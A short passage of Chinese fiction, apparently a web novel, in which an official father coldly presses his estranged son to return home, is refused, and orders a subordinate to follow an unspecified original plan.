明面上看,结亲一事,的的确确是父亲为孩子做考量,可惜这点慈悲心原身是没享受到,就一命呜呼了。 现在拿这点纸扎的情谊,糊弄谁呢? 眼看他油盐不进,容承林耐心逐渐告罄。 褪去了柔情的假象,他那双幽深的凤目直直注视容倦,“我最后问你一句,回不回府?” 容倦微笑:“还不是时候。” 回去一趟总不能空手而归,得等到有需要的时候。 没有做第二次重复,容承林径直大步走下台阶,从另一侧入林荫道,绯红色的官袍逐渐被绿意掩盖,直至彻底看不见。 小道尽头早有人在候着,恭敬行礼。 容承林脚步不作停留,路过他的时候,口吻冷沉薄情:“照原计划来。” “是。”